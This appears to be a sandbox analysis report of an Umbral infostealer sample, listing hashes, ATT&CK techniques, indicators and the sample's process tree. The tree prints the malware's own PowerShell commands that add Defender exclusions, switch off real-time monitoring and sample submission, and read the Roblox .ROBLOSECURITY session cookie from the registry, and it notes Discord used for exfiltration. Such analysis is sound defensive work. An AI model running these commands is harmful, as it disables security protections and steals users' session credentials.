umbral | 9c1f1a7105e258fc4b5df94ba02bd41ddbe55bc82c88cd718fa5b2fac5969f00

Analysis

max time kernel
6s
max time network
8s
platform
windows11-21h2_x64
resource
win11-20241023-en
resource tags

arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system
submitted
08/01/2025, 23:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2.exe
Size

228KB
MD5

22c66a144f89f219d9f7bef81578dd48
SHA1

ad7235aadd9583fd423a5f36a5c65a6213d23fff
SHA256

9c1f1a7105e258fc4b5df94ba02bd41ddbe55bc82c88cd718fa5b2fac5969f00
SHA512

78316d05a92f3c4d9be0f18d1bbc86529961917d83cb00de36a396e96b2357564e354e9cfdc364f08d7e96bdd8602296e6df6eb0d2ea21029c7a45e116edb7a0
SSDEEP

6144:uloZMmrIkd8g+EtXHkv/iD4k5MTaL7j8e1myi:4oZ1L+EP8+LPW

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4496-1-0x000002685C200000-0x000002685C240000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3220	powershell.exe
3480	powershell.exe
3420	powershell.exe
4124	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
5	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1888	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4496	2.exe
3220	powershell.exe
3220	powershell.exe
3480	powershell.exe
3480	powershell.exe
3420	powershell.exe
3420	powershell.exe
2424	powershell.exe
2424	powershell.exe
4124	powershell.exe
4124	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4496	2.exe
Token: SeIncreaseQuotaPrivilege	3392	wmic.exe
Token: SeSecurityPrivilege	3392	wmic.exe
Token: SeTakeOwnershipPrivilege	3392	wmic.exe
Token: SeLoadDriverPrivilege	3392	wmic.exe
Token: SeSystemProfilePrivilege	3392	wmic.exe
Token: SeSystemtimePrivilege	3392	wmic.exe
Token: SeProfSingleProcessPrivilege	3392	wmic.exe
Token: SeIncBasePriorityPrivilege	3392	wmic.exe
Token: SeCreatePagefilePrivilege	3392	wmic.exe
Token: SeBackupPrivilege	3392	wmic.exe
Token: SeRestorePrivilege	3392	wmic.exe
Token: SeShutdownPrivilege	3392	wmic.exe
Token: SeDebugPrivilege	3392	wmic.exe
Token: SeSystemEnvironmentPrivilege	3392	wmic.exe
Token: SeRemoteShutdownPrivilege	3392	wmic.exe
Token: SeUndockPrivilege	3392	wmic.exe
Token: SeManageVolumePrivilege	3392	wmic.exe
Token: 33	3392	wmic.exe
Token: 34	3392	wmic.exe
Token: 35	3392	wmic.exe
Token: 36	3392	wmic.exe
Token: SeIncreaseQuotaPrivilege	3392	wmic.exe
Token: SeSecurityPrivilege	3392	wmic.exe
Token: SeTakeOwnershipPrivilege	3392	wmic.exe
Token: SeLoadDriverPrivilege	3392	wmic.exe
Token: SeSystemProfilePrivilege	3392	wmic.exe
Token: SeSystemtimePrivilege	3392	wmic.exe
Token: SeProfSingleProcessPrivilege	3392	wmic.exe
Token: SeIncBasePriorityPrivilege	3392	wmic.exe
Token: SeCreatePagefilePrivilege	3392	wmic.exe
Token: SeBackupPrivilege	3392	wmic.exe
Token: SeRestorePrivilege	3392	wmic.exe
Token: SeShutdownPrivilege	3392	wmic.exe
Token: SeDebugPrivilege	3392	wmic.exe
Token: SeSystemEnvironmentPrivilege	3392	wmic.exe
Token: SeRemoteShutdownPrivilege	3392	wmic.exe
Token: SeUndockPrivilege	3392	wmic.exe
Token: SeManageVolumePrivilege	3392	wmic.exe
Token: 33	3392	wmic.exe
Token: 34	3392	wmic.exe
Token: 35	3392	wmic.exe
Token: 36	3392	wmic.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeIncreaseQuotaPrivilege	1184	wmic.exe
Token: SeSecurityPrivilege	1184	wmic.exe
Token: SeTakeOwnershipPrivilege	1184	wmic.exe
Token: SeLoadDriverPrivilege	1184	wmic.exe
Token: SeSystemProfilePrivilege	1184	wmic.exe
Token: SeSystemtimePrivilege	1184	wmic.exe
Token: SeProfSingleProcessPrivilege	1184	wmic.exe
Token: SeIncBasePriorityPrivilege	1184	wmic.exe
Token: SeCreatePagefilePrivilege	1184	wmic.exe
Token: SeBackupPrivilege	1184	wmic.exe
Token: SeRestorePrivilege	1184	wmic.exe
Token: SeShutdownPrivilege	1184	wmic.exe
Token: SeDebugPrivilege	1184	wmic.exe
Token: SeSystemEnvironmentPrivilege	1184	wmic.exe
Token: SeRemoteShutdownPrivilege	1184	wmic.exe
Token: SeUndockPrivilege	1184	wmic.exe
Token: SeManageVolumePrivilege	1184	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 3392	4496	2.exe	77
PID 4496 wrote to memory of 3392	4496	2.exe	77
PID 4496 wrote to memory of 3220	4496	2.exe	80
PID 4496 wrote to memory of 3220	4496	2.exe	80
PID 4496 wrote to memory of 3480	4496	2.exe	82
PID 4496 wrote to memory of 3480	4496	2.exe	82
PID 4496 wrote to memory of 3420	4496	2.exe	84
PID 4496 wrote to memory of 3420	4496	2.exe	84
PID 4496 wrote to memory of 2424	4496	2.exe	86
PID 4496 wrote to memory of 2424	4496	2.exe	86
PID 4496 wrote to memory of 1184	4496	2.exe	88
PID 4496 wrote to memory of 1184	4496	2.exe	88
PID 4496 wrote to memory of 2252	4496	2.exe	90
PID 4496 wrote to memory of 2252	4496	2.exe	90
PID 4496 wrote to memory of 1584	4496	2.exe	92
PID 4496 wrote to memory of 1584	4496	2.exe	92
PID 4496 wrote to memory of 4124	4496	2.exe	94
PID 4496 wrote to memory of 4124	4496	2.exe	94
PID 4496 wrote to memory of 1888	4496	2.exe	96
PID 4496 wrote to memory of 1888	4496	2.exe	96

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1184
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2252
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4124
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
6bddc96a32b9ed8fc70b141ccf4a39b2

SHA1
0f33c0699da40a5eadcec646791cf21cdb0dd7c6

SHA256
cb3853abe77eb0da8a1caccb49e97a573b6f35570722eb759116a645d724c132

SHA512
e41f1597b4129b759e4199db195df1c24e47cc47dc9850fab2d48e44bc3d37dc3658fbfbb62332a0b93c552587d7fab09de1634f605faa2209b8470c2a6eaca6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
53ef9acfc26aff9844788c061b9a82a4

SHA1
694630c1928e41ce2404c5fcc47f46edf736c799

SHA256
8e4d63bc44923666849081897470e38ef342d019d6f9db09bda31733723d2285

SHA512
1748fd690c383716f4fb8117b25ed9b5d39ba951c80296490f01b34a51f04a2712ccb9ad827063351276e6d5c304b6e015a8a8240a4bb4baa2b3086e7e28f9d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_atd0q3mz.s3l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3220-12-0x000002D2D4E20000-0x000002D2D4E42000-memory.dmp

Filesize
136KB

Download
memory/3220-13-0x00007FFC89230000-0x00007FFC89CF2000-memory.dmp

Filesize
10.8MB

Download
memory/3220-14-0x00007FFC89230000-0x00007FFC89CF2000-memory.dmp

Filesize
10.8MB

Download
memory/3220-17-0x00007FFC89230000-0x00007FFC89CF2000-memory.dmp

Filesize
10.8MB

Download
memory/3220-3-0x00007FFC89230000-0x00007FFC89CF2000-memory.dmp

Filesize
10.8MB

Download
memory/4496-31-0x0000026876830000-0x0000026876880000-memory.dmp

Filesize
320KB

Download
memory/4496-30-0x00000268768B0000-0x0000026876926000-memory.dmp

Filesize
472KB

Download
memory/4496-32-0x000002685E110000-0x000002685E12E000-memory.dmp

Filesize
120KB

Download
memory/4496-1-0x000002685C200000-0x000002685C240000-memory.dmp

Filesize
256KB

Download
memory/4496-0-0x00007FFC89233000-0x00007FFC89235000-memory.dmp

Filesize
8KB

Download
memory/4496-67-0x000002685E150000-0x000002685E15A000-memory.dmp

Filesize
40KB

Download
memory/4496-68-0x0000026876930000-0x0000026876942000-memory.dmp

Filesize
72KB

Download
memory/4496-2-0x00007FFC89230000-0x00007FFC89CF2000-memory.dmp

Filesize
10.8MB

Download
memory/4496-87-0x00007FFC89230000-0x00007FFC89CF2000-memory.dmp

Filesize
10.8MB

Download